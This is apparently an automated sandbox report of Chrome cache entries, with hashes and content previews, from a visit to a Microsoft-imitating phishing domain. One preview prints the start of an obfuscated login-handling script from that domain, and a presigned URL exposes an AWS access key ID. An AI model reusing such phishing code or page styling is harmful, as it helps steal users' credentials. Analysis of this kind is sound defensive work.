Preview:	<svg id="MSLogo" width="99" height="22" xmlns="http://www.w3.org/2000/svg">..<g fill="none" fill-rule="evenodd">..<path fill="#737474"..d="m34.64 12.07-.58 1.65h-.04c-.1-.39-.28-.93-.56-1.63l-3.14-7.9h-3.08v12.56h2.03V9.03l-.03-1.7c-.01-.34-.05-.6-.06-.81h.05c.1.47.2.83.28 1.07l3.78 9.16h1.42l3.75-9.24c.08-.21.17-.62.25-1h.05c-.05.92-.1 1.76-.1 2.26v7.98h2.17V4.2h-2.96l-3.23 7.88z"../>..<path d="M0 20.96h98.15V0H0z" />..<path fill="#737474"..d="M42.87 16.75h2.11v-9h-2.11zm1.08-12.82c-.35 0-.66.12-.9.35a1.17 1.17 0 0 0-.38.88c0 .35.12.64.37.87.25.23.55.34.9.34s.67-.11.92-.34c.25-.23.38-.52.38-.86 0-.34-.13-.64-.37-.88a1.26 1.26 0 0 0-.92-.36m8.53 3.73a5.9 5.9 0 0 0-1.19-.12c-.97 0-1.83.2-2.57.62-.74.4-1.3 1-1.7 1.74a5.57 5.57 0 0 0-.01 4.9c.37.7.9 1.23 1.58 1.6.67.38 1.45.57 2.31.57 1.01 0 1.87-.2 2.56-.6l.03-.02v-1.94l-.1.07c-.3.23-.65.4-1.03.54a3.12 3.12 0 0 1-1.01.2c-.83 0-1.5-.26-1.98-.78a3 3 0 0 1-.73-2.14c0-.9.25-1.65.76-2.2a2.6 2.6 0 0 1 1.98-.81c.7 0 1.38.23 2.02.7l.09.06V8.01L5

Chrome Cache Entry: 146

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (3379)
Category:	downloaded
Size (bytes):	4210
Entropy (8bit):	5.364580472613482
Encrypted:	false
SSDEEP:	48:sc+17gESlBdSqCavuSpDk5vXHgomMNZs7ulIWfcSOCOyY4XCFoLpp:XSEd916APuZsdC5Np
MD5:	59087D72EEDCB7650C9D5D6088440DD3
SHA1:	97B607FCE11F640E5764699038E50A76EB98944B
SHA-256:	E0E3FB0FE5CA541950CF8DD213FBE9E8957A3DB0010B515AD01ADFF6CA908A3E
SHA-512:	4F213391C01CFB017AB290007F3C7E66DB9B2A7A1EA4B4843DD52B0D7E5B1A5C04896BF1856806964F5A49C38A66403A8CDFE2C8C3EAF82C8318012F444DCD3F
Malicious:	false
Reputation:	low
URL:	https://doculink.authtlcate-now.pro/captcha/style.css
Preview:	@font-face{font-family:FabricMDL2Icons;src:url('//res.cdn.office.net/owamail/20240308003.09/resources/fonts/o365icons-mdl2.woff') format('woff');font-weight:400;font-style:normal}@font-face{font-family:office365icons;src:url('//res.cdn.office.net/owamail/20240308003.09/resources/fonts/office365icons.woff?') format('woff');font-weight:400;font-style:normal}#loadingScreen{position:fixed;top:0;bottom:0;left:0;right:0;background-color:#fff}#loadingLogo{position:fixed;top:calc(50vh - 90px);left:calc(50vw - 90px);width:180px;height:180px}#MSLogo{position:fixed;bottom:36px;left:calc(50vw - 50px)}.dark #loadingScreen{background-color:#333}.darkNew #loadingScreen{background-color:#1f1f1f}.:root{--s:180px;--envW:130px;--envH:71px;--calW:118px;--sqW:calc(var(--calW) / 3);--sqH:37px;--calHH:20px;--calH:calc(var(--sqH) * 3 + var(--calHH));--calY:calc(var(--calH) + 20px);--calYExt:calc(var(--calH) - 80px);--calYOverExt:calc(var(--calH) - 92px);--flapS:96px;--flapH:calc(0.55 * var(--envH));--flapScal

Chrome Cache Entry: 147

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (7043), with no line terminators
Category:	downloaded
Size (bytes):	7043
Entropy (8bit):	5.2804407743048944
Encrypted:	false
SSDEEP:	192:wtIrjU2y/QZN5uvVRQ+tslFqEMkewx+No91m8mq9Ana1opn:wKXU2y/QZN5uvVyFq7kew0xLa1Y
MD5:	B6C202188699B897BB727A68EDD24665
SHA1:	FF3B891E06C983DCA277C1D7D874C8EB8084EB96
SHA-256:	184A034CB9202937BF012AFF8C81E0747B7CA8F8F9E6115556FDB09D5BAEC419
SHA-512:	AD8D243B156841EC27CA057CF1E0F64B8802E0DF64F79000739605CDE2C9A9FA1E3E24D153AB34A7AA66F726FC701816CA116052F4129AF3FB78D8F4057EE9F8
Malicious:	false
Reputation:	low
URL:	https://doculink.authtlcate-now.pro/js/3ab171f76fa12ca7e775f401a8a53f3e662a5b20c6337
Preview:	var _0x22d5b4=_0xe936;function _0xe936(_0x110d0f,_0x2b91a9){var _0x5afc29=_0x2e89();return _0xe936=function(_0x5e8034,_0x1649af){_0x5e8034=_0x5e8034-0x12d;var _0x41bfe8=_0x5afc29[_0x5e8034];return _0x41bfe8;},_0xe936(_0x110d0f,_0x2b91a9);}(function(_0x18f255,_0x432ca9){var _0xb8cc2=_0xe936,_0x553352=_0x18f255();while(!![]){try{var _0x1c3eea=-parseInt(_0xb8cc2(0x161))/0x1+-parseInt(_0xb8cc2(0x132))/0x2+parseInt(_0xb8cc2(0x154))/0x3+-parseInt(_0xb8cc2(0x16c))/0x4+parseInt(_0xb8cc2(0x12e))/0x5+parseInt(_0xb8cc2(0x174))/0x6+-parseInt(_0xb8cc2(0x136))/0x7;if(_0x1c3eea===_0x432ca9)break;else _0x553352['push'](_0x553352['shift']());}catch(_0x104ec1){_0x553352['push'](_0x553352['shift']());}}}(_0x2e89,0x62b01));function _0x2e89(){var _0x35743b=['log','under','prototype','usernameError','disabled','search','progressBar','removeClass','<br/>','each','json','trace','style','querySelector','opacity','none','i0116','value','location','removeAttr','reset','log_form','now','redirect','reload','.light

Chrome Cache Entry: 148

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (631)
Category:	downloaded
Size (bytes):	517649
Entropy (8bit):	5.713376874006511
Encrypted:	false
SSDEEP:	6144:m1K1Z7NMxjW6eJoWvAlUjWwuMSYCVvLk8DSWd1Ps8Jz38iZc:m6eWTAujfuPY0JGgkt
MD5:	E2E79D6B927169D9E0E57E3BAECC0993
SHA1:	1299473950B2999BA0B7F39BD5E4A60EAFD1819D
SHA-256:	231336ED913A5EBD4445B85486E053CAF2B81CAB91318241375F3F7A245B6C6B
SHA-512:	D6A2ED7B19E54D1447EE9BBC684AF7101B48086945A938A5F9B6AE74ACE30B9A98CA83D3183814DD3CC40F251AB6433DC7F8B425F313EA9557B83E1C2E035DFF
Malicious:	false
Reputation:	low
URL:	https://www.gstatic.com/recaptcha/releases/V6_85qpc2Xf2sbe3xTnRte7m/recaptcha__en.js
Preview:	(function(){/.. Copyright The Closure Library Authors.. SPDX-License-Identifier: Apache-2.0././. Copyright The Closure Library Authors.. SPDX-License-Identifier: Apache-2.0././.. SPDX-License-Identifier: Apache-2.0././.. Copyright 2005, 2007 Bob Ippolito. All Rights Reserved.. Copyright The Closure Library Authors.. SPDX-License-Identifier: MIT././*.. Apache License. Version 2.0, January 2004. https://www.apache.org/licenses/.. TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION.. 1. Definitions... "License" shall mean the terms and conditions for use, reproduction,. and distribution as defined by Sections 1 through 9 of this document... "Licensor" shall mean the copyright owner or entity authorized by. the copyright owner that is granting the License... "Legal Entity" shall mean the union of the acting entity and all. other entities that contro

Chrome Cache Entry: 149

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 48 x 48, 8-bit gray+alpha, non-interlaced
Category:	dropped
Size (bytes):	530
Entropy (8bit):	7.2576396280117494
Encrypted:	false
SSDEEP:	12:6v/7OEUhUxzPKmghSn8nazyk+k8/OzxQcxNMvVb:bhUxzlvWkT8FcxK1
MD5:	88E0F42C9FA4F94AA8BCD54D1685C180
SHA1:	5AD9D47A49B82718BAA3BE88550A0B3350270C42
SHA-256:	89C62095126FCA89EA1511CF35B49B8306162946B0C26D6F60C5506C51D85992
SHA-512:	FAFF842E9FF4CC838EC3C724E95EEE6D36B2F8C768DC23E48669E28FC5C19AA24B1B34CF1DBCBE877B3537D6A325B4C35AF440C2B6D58F6A77A04A208D9296F8
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR...0...0.......1.....gAMA......a.... cHRM..z&..............u0...`..:....p..Q<....bKGD.........IDATX...JBA.....E-R... (#..-*$.}.%.Kt.A..Dx.I...AF.Q.4.......-.6..?.m:.,.......Q..D.L..e4..2.D..8)j4:......&>.s......p?......9.o5>.][H.}...&L.%.xh{~K.J\|.b..N..HMp....f.}dd..S..4%...$dK..!..Z..NNs.W&g..Fn....p...w..Ut...E\.e.......6......M.F...X.L......em.....R#'..%....j$/..-......@.l."..M.\|....OtW.H.,.-.~W`Z.s8..W...B...C-.8"H....6......9...A..aO.1`.M..A..eA.{...-...U.,.W........IEND.B`.

Chrome Cache Entry: 150

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format (Version 2), TrueType, length 15552, version 1.0
Category:	downloaded
Size (bytes):	15552
Entropy (8bit):	7.983966851275127
Encrypted:	false
SSDEEP:	384:HDKhlQ8AGL0dgUoEGBQTc7r6QYMkyr/iobA2E4/jKcJZI7lhzi:jslQ+LhUoTB0Qr6Qjkg/DmcJufzi
MD5:	285467176F7FE6BB6A9C6873B3DAD2CC
SHA1:	EA04E4FF5142DDD69307C183DEF721A160E0A64E
SHA-256:	5A8C1E7681318CAA29E9F44E8A6E271F6A4067A2703E9916DFD4FE9099241DB7
SHA-512:	5F9BB763406EA8CE978EC675BD51A0263E9547021EA71188DBD62F0212EB00C1421B750D3B94550B50425BEBFF5F881C41299F6A33BBFA12FB1FF18C12BC7FF1
Malicious:	false
Reputation:	low
URL:	https://fonts.gstatic.com/s/roboto/v18/KFOlCnqEu92Fr1MmEU9fBBc4.woff2
Preview:	wOF2......<...........<Z.........................d..z..J.`..L.\..<.....<.....^...x.6.$..6. .... ..S..}%.......\|....x..[j.E...d..-A...]=sjf$X.o.5......V....i?}.\...;...V......5..mO=,[.B..d'..=..M...q...8..U'..N..G...[..8....Jp..xP...'.?....}.-.1F.C.....%z..#...Q...~.~..3.............r.Xk..v..7t.+bw...f..b...q.W..'E.....O..a..HI.....Y.B..i.K.0.:.d.E.Lw....Q..~.6.}B...bT.F.,<./....Qu....\|...H....Fk.-..H..p4.$......{.2.....".T'..........Va.6+.9uv....RW..U$8...p...........H5...B..N..V...{.1....5}p.q6..T...U.P.N...U...!.w..?..mI..8q.}.... >.Z.K.....tq..}.><Ok..w.. ..v....W...{....o...."+#+,..vdt...p.WKK:.p1...3`. 3.......Q.].V.$}.......:.S..bb!I...c.of.2uq.n.MaJ..Cf.......w.$.9C...sj.=...=.Z7...h.w M.D..A.t.....]..GVpL...U(.+.)m..e)..H.}i.o.L...S.r..m..Ko....i..M..J..84.=............S..@......Z.V.E..b...0.....@h>...."$.?....../..?.....?.J.a,..\|..d...\|`.m5..b..LWc...L...?.G.].i...Q..1.:..LJV.J...bU.2.:\.kt.......t.....k....B..i.z+...........A.....

Chrome Cache Entry: 89

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format (Version 2), TrueType, length 17976, version 1.0
Category:	downloaded
Size (bytes):	17976
Entropy (8bit):	7.988616434607055
Encrypted:	false
SSDEEP:	384:8N0gz68JPBB/Bg+DkuXstyDBlps+eh6kPShFkCa0+qR:8N08Jn/BjkQJNGYkPoFkZ0+A
MD5:	7C6A06AA773F7E630E0DB1ABFF8DD340
SHA1:	B14FCBBA9C3507F6F3C3FB1EADC460AB13F5BBD8
SHA-256:	0F14955A9B2834B1905C479229152732C4BEF761B2304102D50B8F8B9EAE1CCC
SHA-512:	83B39F2C4B2FC2661CD29E66DA1247950B417AC6B777638F0017BD69E79005331BD0DE1933C8074FDDA6FC40F7BFD781930EDFA9DB302760A3D7FCE87381A794
Malicious:	false
Reputation:	low
URL:	https://fonts.gstatic.com/s/bitter/v33/raxhHiqOu8IVPmnRc6SY1KXhnF_Y8fbfOLjOXQ.woff2
Preview:	wOF2......F8.......t..E...........................(..R....`?STAT^..b.....T..~..t..6.$..d. ..P........5l.......^.\\|.....0G>?")'.J..........\...r...z.Y.w:E:m].)!##.R..Z.>QQ...e..+(~....oxB0c....k...[z....B..Q..}.I.RX...2q...t^........N..PC...g`....=../m.I...#....v.z\|..YU...w.. .. c"_...a.Y..sI..:...<..?.=..A,.BD..,.E...p.F.J....uZ...Z$Hm..-.`.....<.._./...[@.UVeYU....%Rx........)...qL.M...............`......,.....F%V.r.w...E.W-O........[%a.%.$..........~..$.4..7.B.........[._.....Y......D.GD^..G...?./7..= ..0..5N.\|..eb.......[h.`{0H4...az..4.`.....7{..e8h.F..7`..6..Ku..-...?..D.I......E.......75uik..u..O.x\|..........o.] {...E....I.KnEvZg.K...VXN....g.......G.".U.&.j..W+k[)(.TZ.,0a.M...a(0.z!...Kg..#.f.2.O}.R\J.7...RT.........4..J.."...c7..(........6.4. A....[.......H.(#.~.u.v.k..MD..`.JM>Q....D.......@D.'...#....`4..[XY...;8:...t...$HV U.t{.xD...K........k..=.t.3.D..9"......0....M...ei..\|.P..H..0).....iI.}....g....@Y..e..}b!w.hH.....[.Y..-I....

Chrome Cache Entry: 90

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 24 x 55, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	61
Entropy (8bit):	4.068159130770306
Encrypted:	false
SSDEEP:	3:yionv//thPlQIl1xl/k4E08up:6v/lhP+IH7Tp
MD5:	3ACB0639E2BFD4EDC813579BD5DAC4C1
SHA1:	433C1F5B93D12B2A28384F09CB50701633F8B8AB
SHA-256:	7DF91115069D79E0B2026DB934C3772C7ED11BCBA33FD0DD7BAE74D17F72F2AC
SHA-512:	CE3379441C3CB7E9938AFE790EDB66ED44CF5FE37E86417BF9C59EBE99404436B055A4DD2DF7034B32C2821BFA9B5E7A3B0A179D12D574156E886AE522C2513C
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR.......7........L....IDAT.....$.....IEND.B`.

Chrome Cache Entry: 91

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format (Version 2), TrueType, length 15340, version 1.0
Category:	downloaded
Size (bytes):	15340
Entropy (8bit):	7.983406336508752
Encrypted:	false
SSDEEP:	384:F2gPJde0V2iGrQyD8b3k/tigCdeNqOUd47SH0tsGm:4gPVV2NQE8b3ldeNWH0Wb
MD5:	19B7A0ADFDD4F808B53AF7E2CE2AD4E5
SHA1:	81D5D4C7B5035AD10CCE63CF7100295E0C51FDDA
SHA-256:	C912A9CE0C3122D4B2B29AD26BFE06B0390D1A5BDAA5D6128692C0BEFD1DFBBD
SHA-512:	49DA16000687AC81FC4CA9E9112BDCA850BB9F32E0AF2FE751ABC57A8E9C3382451B50998CEB9DE56FC4196F1DC7EF46BBA47933FC47EB4538124870B7630036
Malicious:	false
Reputation:	low
URL:	https://fonts.gstatic.com/s/roboto/v18/KFOlCnqEu92Fr1MmYUtfBBc4.woff2
Preview:	wOF2......;........d..;..........................d..z..J.`..L.Z..<.....\..`..^...x.6.$..6. ..\|. ..8..z%......Q.{..q...FF.kd .8.(..d..).!C...Y.JA...r. ..GH8F......nW...".2&....2<..+C...p...b..SC.......J......z.-..Q..#6&1zUe../\...l.....<.....9s...E~.]B-..B.wY..o......Q..A.F..1j.......-.`P% .. ,..@1.0..~.....WWW.d.u<c{..^.R.+..w....&.........A......+C....(.N.....0.~..0.J.;.Nu..7....]..m.H.....[h.GL3....?)....c.H...2.3.}y........SXI\|..iVN'%E.D.W....r..<`....i....6;E$.....U.$j.@...._.......R2....WS...k.vz.R.'a9!^...N....h.._.....c.%."..S.2.16B...o.2}.pmU[.\|.LI....2.....OWQLO1-....s..8.(...".\|6...6R.. ..M-.zO.}w)..v..mXxX...c..3#.+.v....F`.Z;.zQ.......r,....Yo.....g.h....+.....O.3Y..)Y.8.!....elX......._.3.}k~u.{ C..H.z..FP........@...d..)T.R...L.H.J.j.@..............$...E......y...3.b...I.h u.+%.HA.\..9..8..X.!....gx...].:..V..C...._..X..!....6..)...GM:E.....O.Z.}k.;.T.k..D.k.O..D5.r..."......?..T.Q.A...CF...3g.5.Dn<.QPy..G..1.9..Q..0..

Chrome Cache Entry: 92

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	1592
Entropy (8bit):	4.205005284721148
Encrypted:	false
SSDEEP:	48:ztSAS1OtmCtc7aIVmt4yyR9S2lKUyDWwh:RoOtmCtc7aCmVQHSRh
MD5:	4E48046CE74F4B89D45037C90576BFAC
SHA1:	4A41B3B51ED787F7B33294202DA72220C7CD2C32
SHA-256:	8E6DB1634F1812D42516778FC890010AA57F3E39914FB4803DF2C38ABBF56D93
SHA-512:	B2BBA2A68EDAA1A08CFA31ED058AFB5E6A3150AABB9A78DB9F5CCC2364186D44A015986A57707B57E2CC855FA7DA57861AD19FC4E7006C2C239C98063FE903CF
Malicious:	false
Reputation:	low
Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="48" height="48" viewBox="0 0 48 48"><defs><style>.a{fill:none;}.b{fill:#404040;}</style></defs><rect class="a" width="48" height="48"/><path class="b" d="M40,32.578V40H32V36H28V32H24V28.766A10.689,10.689,0,0,1,19,30a10.9,10.9,0,0,1-5.547-1.5,11.106,11.106,0,0,1-2.219-1.719A11.373,11.373,0,0,1,9.5,24.547a10.4,10.4,0,0,1-1.109-2.625A11.616,11.616,0,0,1,8,19a10.9,10.9,0,0,1,1.5-5.547,11.106,11.106,0,0,1,1.719-2.219A11.373,11.373,0,0,1,13.453,9.5a10.4,10.4,0,0,1,2.625-1.109A11.616,11.616,0,0,1,19,8a10.9,10.9,0,0,1,5.547,1.5,11.106,11.106,0,0,1,2.219,1.719A11.373,11.373,0,0,1,28.5,13.453a10.4,10.4,0,0,1,1.109,2.625A11.616,11.616,0,0,1,30,19a10.015,10.015,0,0,1-.125,1.578,10.879,10.879,0,0,1-.359,1.531Zm-2,.844L27.219,22.641a14.716,14.716,0,0,0,.562-1.782A7.751,7.751,0,0,0,28,19a8.786,8.786,0,0,0-.7-3.5,8.9,8.9,0,0,0-1.938-2.859A9.269,9.269,0,0,0,22.5,10.719,8.9,8.9,0,0,0,19,10a8.786,8.786,0,0,0-3.5.7,8.9,8.9,0,0,0-2.859,1.938A9.269,9.269,0,0,0,

Chrome Cache Entry: 93

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (31680)
Category:	downloaded
Size (bytes):	39705
Entropy (8bit):	5.490918156395377
Encrypted:	false
SSDEEP:	768:FMhJX2M88sCp8LxoPS0uj0W9cJsSRjEU5DQQN8fhZGOvEMrTxbfmpWPM3fwEmMGR:FwJpV8doKccdkT4E5GKe5k81q0BU6e2R
MD5:	FB4D3E1FA52323EDF4E433F105FE83D4
SHA1:	D5A36EA355473323A0FC173AFB2318D25A43CE4B
SHA-256:	2F7328DAD7FFA183D89CB8B978938B5401ACA56015AF78E26D5466C4D6EB99BA
SHA-512:	75F8757591DB92CE01DF8B946BE23D00B5266E77CA7EB2F0BF1F02CCDC53D38C473285C73B50BD95CB05E0F8ACBD47572FD114F5F66664602ADF7C98A97DA6A6
Malicious:	false
Reputation:	low
URL:	https://app.robly.com/sites/1550c67c312457e2bb58457f78fda912/f774d7ddfffc8f1d429cd55a95adr852d
Preview:	.<script type="text/javascript" nonce="6e2669faf81f1fbed394e18e2be8eee3">window.NREUM\|\|(NREUM={});NREUM.info={"beacon":"bam.nr-data.net","errorBeacon":"bam.nr-data.net","licenseKey":"041b6d5c93","applicationID":"582529278","transactionName":"cF5fRRZcDQ5TExkRRFFdWFJLXwAMUghYBm5DUFZUS1oPBlMZ","queueTime":0,"applicationTime":158,"agent":""}</script>.<script type="text/javascript" nonce="6e2669faf81f1fbed394e18e2be8eee3">(window.NREUM\|\|(NREUM={})).init={ajax:{deny_list:["bam.nr-data.net"]}};(window.NREUM\|\|(NREUM={})).loader_config={licenseKey:"041b6d5c93",applicationID:"582529278"};;/! For license information please see nr-loader-rum-1.257.0.min.js.LICENSE.txt /.(()=>{var e,t,r={234:(e,t,r)=>{"use strict";r.d(t,{P_:()=>v,Mt:()=>b,C5:()=>s,OP:()=>S,lF:()=>N,Yu:()=>_,Dg:()=>m,CX:()=>c,GE:()=>w,sU:()=>k});var n=r(8632),i=r(9567);const o={beacon:n.ce.beacon,errorBeacon:n.ce.errorBeacon,licenseKey:void 0,applicationID:void 0,sa:void 0,queueTime:void 0,applicationTime:void 0,ttGuid:void 0,user

Chrome Cache Entry: 94

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 2912 x 106, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	12626
Entropy (8bit):	6.811676096948244
Encrypted:	false
SSDEEP:	192:BMlJZmggPrctF8tJjEewa9O7vtzGQoPWDF8yQ75SW:KrZ+PriF8tNVSFw5SW
MD5:	8FC1822DE1AFA7ED3C9DA45CAFB471FC
SHA1:	A08E2E26E1D79A57D5FD2AB036A4C2164609C0A8
SHA-256:	81028B648FBA3552A10E6D74A97B300DE43315352B1D4714FDF57A7544DF6712
SHA-512:	F30AA777692A6DEA9752F6F4818D9DDFBE1C98AF3AD6DE444646CE3B4D4C5C9B40E44CF3ABAFB5836413FE022AB492ADE038343E073BE62583FCA149CE070D0C
Malicious:	false
Reputation:	low
URL:	https://contentsnare-production.s3-accelerate.amazonaws.com/n2v4rl2b327s1vid8g7nsn5ebkvj?response-content-disposition=inline%3B%20filename%3D%22fhf.png%22%3B%20filename%2A%3DUTF-8%27%27fhf.png&response-content-type=image%2Fpng&X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=AKIAJEO7TYJAYQI5QCQQ%2F20240425%2Fus-east-1%2Fs3%2Faws4_request&X-Amz-Date=20240425T133008Z&X-Amz-Expires=300&X-Amz-SignedHeaders=host&X-Amz-Signature=6526713a88cfa7d999f0cd7c9de37041e3485792cb3b05ba63508120daa8e335
Preview:	.PNG........IHDR...`...j.....`".....?iCCPICC Profile..H..W.XS...[..@h........@J.-.."..I.Pb...;....E.l.b...Y...E..e],.7)....}s...9.3..-...).H.....#.......'%.I=..:...-.7W........w..'...R....W...s.. Q...r.9.......y......<......0A..Kq..WIq...... n.@I......z...\|n:.P..Q....P.C.3..q....G..T....N..4S.59..a,.......l......r.%C1,aS....H...v;kj...@.'L...X.......b..!.......\......u.q.. 6.8H.....S..Al...A..y.8.u!^....U.l.O.Q.B...,.......Jc=.d.3...3.l.>.Z....1.b.\|AB...;.f.)\|..f.".\|..i........r},?M..../..../.9C..P..y.q!..`-\.,.8.._............(.;.....t>...c.cq.(;J....).......xB.\.r}<M...'../..F...W.p.....$.... .........'.p....>.W0C#.e=Bx....O.. wx......!.u....A..7_6".<.8...lx-....GK.O #.Gt.l\.o6l........&d...d("]m..H. ....6.>.{.........=......NxL.I.$."(....8......H....%.t..qo...q.\....0.....]!.R.-...'.......#;.Q...........*.Z.X.y....f......C.y....'..;...Nc..cX..c'.F..;....lu.E....u...7tg...u.u.u."....H..5U4C,H..3...Og.....N.N..H./...h.w..i..-......G.s.'....

Chrome Cache Entry: 95

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, Exif standard: [TIFF image data, big-endian, direntries=4, orientation=upper-left, xresolution=62, yresolution=70, resolutionunit=2], baseline, precision 8, 1700x2200, components 3
Category:	dropped
Size (bytes):	336576
Entropy (8bit):	7.728269982747793
Encrypted:	false
SSDEEP:	6144:lwKvWmViVM3FpfaBYOKRUz8dtLi/Wqr2PvPSmnqllMW7EzCab4:lpvlN3/fhhyodtLi/WqUXSmJCab4
MD5:	6FF98434EF5C6E8D4E89BDC21D798DFD
SHA1:	B5162A8E981616E912CD75479C443957F73DD69D
SHA-256:	8317A5E62F1F587A3A0711BD46FC578F0777856E7EB3538E8C1FEA4FDF36AF67
SHA-512:	C77681971D0672BC29D1203363849715787BD37AF916D9A087BE9D535947CAE677CC082D6361AE1339923DBD67E5BEB451E0438BF944B385B010F348264E8C2C
Malicious:	false
Reputation:	low
Preview:	.....VExif..MM.*.............................>...........F.(..................................JFIF..............ICC_PROFILE............0..mntrRGB XYZ ............acsp.......................................-....................................................desc.......$rXYZ........gXYZ...(....bXYZ...<....wtpt...P....rTRC...d...(gTRC...d...(bTRC...d...(cprt.......<mluc............enUS.........s.R.G.BXYZ ......o...8.....XYZ ......b.........XYZ ......$.........XYZ ...............-para..........ff......Y.......[........mluc............enUS... .....G.o.o.g.l.e. .I.n.c... .2.0.1.6...C....................................................................C........................................................................................................................g......................!..1A.Qaq.........."#R......2B..3Sb.Cr....c.$W....4T..&.:D.9sxy.....(7JXZ........................................=.......................!.1A..Qaq........"...2#..$BRb3r...C.............?.....P....p..l[

Chrome Cache Entry: 96

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	1592
Entropy (8bit):	4.205005284721148
Encrypted:	false
SSDEEP:	48:ztSAS1OtmCtc7aIVmt4yyR9S2lKUyDWwh:RoOtmCtc7aCmVQHSRh
MD5:	4E48046CE74F4B89D45037C90576BFAC
SHA1:	4A41B3B51ED787F7B33294202DA72220C7CD2C32
SHA-256:	8E6DB1634F1812D42516778FC890010AA57F3E39914FB4803DF2C38ABBF56D93
SHA-512:	B2BBA2A68EDAA1A08CFA31ED058AFB5E6A3150AABB9A78DB9F5CCC2364186D44A015986A57707B57E2CC855FA7DA57861AD19FC4E7006C2C239C98063FE903CF
Malicious:	false
Reputation:	low
URL:	https://doculink.authtlcate-now.pro/ASSETS/img/sig-op.svg
Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="48" height="48" viewBox="0 0 48 48"><defs><style>.a{fill:none;}.b{fill:#404040;}</style></defs><rect class="a" width="48" height="48"/><path class="b" d="M40,32.578V40H32V36H28V32H24V28.766A10.689,10.689,0,0,1,19,30a10.9,10.9,0,0,1-5.547-1.5,11.106,11.106,0,0,1-2.219-1.719A11.373,11.373,0,0,1,9.5,24.547a10.4,10.4,0,0,1-1.109-2.625A11.616,11.616,0,0,1,8,19a10.9,10.9,0,0,1,1.5-5.547,11.106,11.106,0,0,1,1.719-2.219A11.373,11.373,0,0,1,13.453,9.5a10.4,10.4,0,0,1,2.625-1.109A11.616,11.616,0,0,1,19,8a10.9,10.9,0,0,1,5.547,1.5,11.106,11.106,0,0,1,2.219,1.719A11.373,11.373,0,0,1,28.5,13.453a10.4,10.4,0,0,1,1.109,2.625A11.616,11.616,0,0,1,30,19a10.015,10.015,0,0,1-.125,1.578,10.879,10.879,0,0,1-.359,1.531Zm-2,.844L27.219,22.641a14.716,14.716,0,0,0,.562-1.782A7.751,7.751,0,0,0,28,19a8.786,8.786,0,0,0-.7-3.5,8.9,8.9,0,0,0-1.938-2.859A9.269,9.269,0,0,0,22.5,10.719,8.9,8.9,0,0,0,19,10a8.786,8.786,0,0,0-3.5.7,8.9,8.9,0,0,0-2.859,1.938A9.269,9.269,0,0,0,

Chrome Cache Entry: 97

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 48 x 48, 8-bit gray+alpha, non-interlaced
Category:	downloaded
Size (bytes):	665
Entropy (8bit):	7.42832670119013
Encrypted:	false
SSDEEP:	12:6v/7OEUelyuRs56fyKgIEInu5VLJBZInmJhd/3VqQXD8GBm1:belFRs56fuIEIu5VNBZInMTICfBO
MD5:	07BF314AAB04047B9E9A959EE6F63DA3
SHA1:	17BEF6602672E2FD9956381E01356245144003E5
SHA-256:	55EAF62CB05DA20088DC12B39D7D254D046CB1FD61DDF3AE641F1439EFD0A5EE
SHA-512:	2A1D4EBC7FBA6951881FD1DDA745480B504E14E3ADAC3B27EC5CF4045DE14FF030D45DDA99DC056285C7980446BA0FC37F489B7534BE46107B21BD43CEE87BA0
Malicious:	false
Reputation:	low
URL:	https://www.gstatic.com/recaptcha/api2/info_2x.png
Preview:	.PNG........IHDR...0...0.......1.....gAMA......a.... cHRM..z&..............u0...`..:....p..Q<....bKGD.........IDATX..W..DA.=.6O...H.,E.............b.....C.1...1..EbLPI.W......H..s.z5.:..._.d.0.u.......j.x.R..._.v..R...1..ir..`.yn..R..j.h./y..l......(`..5....l.E..0......B^......F.....F....Y\|p..._,p.............(3^.r.P.O......;<....z.,..yF....N..x.MS...Q.C%......D8G.+......oOk...)T..}\|..e...G.....'.R..G.Z.T}7(...&..@...G....$PGYv...A.c.]d....N..'.4b...R.%..)2Yd..b.M..^@.M....^.:h.N(dP*t..RQ%.o...{.vGH..S._".@./...g.....]...?..h..E.,r.m.%."."W.6G..t...->....q\.Kc.t"^......Kj~{l..C..).y..><@\|yB....=c.............!...<....IEND.B`.

Chrome Cache Entry: 98

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65447)
Category:	downloaded
Size (bytes):	89501
Entropy (8bit):	5.289893677458563
Encrypted:	false
SSDEEP:	1536:DjExXUqJnxDjoXEZxkMV4QYSt0zvDL6gP3h8cApwEIOzVTB/UjPazMdLiX4mQ1v9:DIh8GgP3hujzwbhd3XvSiDQ47GKn
MD5:	8FB8FEE4FCC3CC86FF6C724154C49C42
SHA1:	B82D238D4E31FDF618BAE8AC11A6C812C03DD0D4
SHA-256:	FF1523FB7389539C84C65ABA19260648793BB4F5E29329D2EE8804BC37A3FE6E
